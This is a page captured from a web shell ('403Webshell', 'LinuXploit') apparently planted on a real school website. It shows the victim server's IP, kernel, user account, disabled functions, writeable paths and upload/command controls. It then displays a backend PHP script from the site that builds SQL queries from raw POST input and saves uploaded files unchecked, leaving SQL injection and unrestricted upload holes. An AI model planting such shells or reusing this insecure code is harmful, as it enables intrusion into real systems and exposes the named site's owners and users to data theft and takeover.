403Webshell
Server IP : 27.254.96.235  /  Your IP : 216.73.216.44
Web Server : Apache/2
System : Linux cs95 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : piboonsa ( 1055)
PHP Version : 8.0.30
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  /home/piboonsa/domains/piboonsawasdee.ac.th/public_html/backend/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/piboonsa/domains/piboonsawasdee.ac.th/public_html/backend/_doadd_activity.php
<?php 
	include("passlog.inc.php");
	include("lib/config.php");
	include("lib/resize.inc.php");
	
	$id = $_POST['id'];
	$Page = $_POST['Page'];
	$status = $_POST['status'];
	$subject = htmlspecialchars($_POST['subject'], ENT_QUOTES);
	$intro_img = $_FILES['intro_img']['name'];
	$txt_intro = htmlspecialchars($_POST['txt_intro'], ENT_QUOTES);
	$detail = htmlspecialchars($_POST['detail'], ENT_QUOTES);
	$pic = $_FILES['pic']['name'];
	$img_title = $_POST['img_title'];
	
	if(empty($subject) || empty($status)){
		$msg = ERR_REQ_INFO;
		echo '<META HTTP-EQUIV="Refresh" CONTENT="0; URL=add_activity.php?id='.$id.'&Page='.$_POST['Page'].'&msg='.$msg.'">';
		exit;
	}
	
	if($id){
		// Intro Image
		if($intro_img){
			$query = $db->query("SELECT img FROM activity_news WHERE id = '$id'");
			$rs = $db->getresult($query);
			if($rs['img']){
				unlink(IMG_INT_ACT.$rs['img']);
			}
			$newimg = date("dmYHis").$intro_img;
			copy($_FILES['intro_img']['tmp_name'], IMG_INT_ACT.$newimg);
			$size = GetimageSize($_FILES['intro_img']['tmp_name']); 
			if($size[0] > IMG_W || $size[1] > IMG_H){
				resize(IMG_INT_ACT.$newimg, IMG_W, IMG_H);  
			}
		}
		$sql = "UPDATE activity_news SET subject = '$subject', txt_intro = '$txt_intro', ";
		if($intro_img){
			$sql .= "img = '$newimg', ";
		}
		$sql .= "detail = '$detail', status = '$status', updated_date = now(), updated_by = '".$_SESSION['acc_username']."' WHERE id = '$id'";
		
		$db->query($sql);
		$last_id = $id;
	}else{
		// Intro Image
		if($intro_img){
			$newimg = date("dmYHis").$intro_img;
			copy($_FILES['intro_img']['tmp_name'], IMG_INT_ACT.$newimg);
			$size = GetimageSize($_FILES['intro_img']['tmp_name']); 
			if($size[0] > IMG_W || $size[1] > IMG_H){
				resize(IMG_INT_ACT.$newimg, IMG_W, IMG_H);  
			}
		}

		$db->query("INSERT INTO activity_news SET subject = '$subject', txt_intro = '$txt_intro', img = '$newimg', detail = '$detail', status = '$status', entered_date = now(), updated_by = '".$_SESSION['acc_username']."' ");
		$last_id = $db->getlastid();
	}
	
	// add images
	if($pic){
		for($i=0;$i<count($pic);$i++){
			if($pic[$i]){
				if($id){
					$no = $i+1;
					$query = $db->query("SELECT * FROM activity_news_img WHERE ac_id = '$id' AND no = '$no'");
					if($db->getcountrow($query) != 0){
						$rs = $db->getresult($query);
						unlink(IMG_ACT.$rs['img']);
						$db->query("DELETE FROM activity_news_img WHERE ac_id = '$id' AND no = '$no'");
					}
				}
				$N_pic = date("dmYHis").$pic[$i];
				copy($_FILES['pic']['tmp_name'][$i], IMG_ACT.$N_pic);
				$size = GetimageSize($_FILES['pic']['tmp_name'][$i]); 
				if($size[0] > IMG_W || $size[1] > IMG_H){
					resize(IMG_ACT.$N_pic, IMG_W,IMG_H);  
				}
				$num = $i+1;
                
				$db->query("INSERT INTO activity_news_img SET ac_id = '$last_id', img = '$N_pic', title = '".$img_title[$i]."', no = '$num'");
			}
		}
	}
	
	echo '<META HTTP-EQUIV="Refresh" CONTENT="0; URL=activity.php?Page='.$_POST['Page'].'">';
?>

Youez - 2016 - github.com/yon3zu
LinuXploit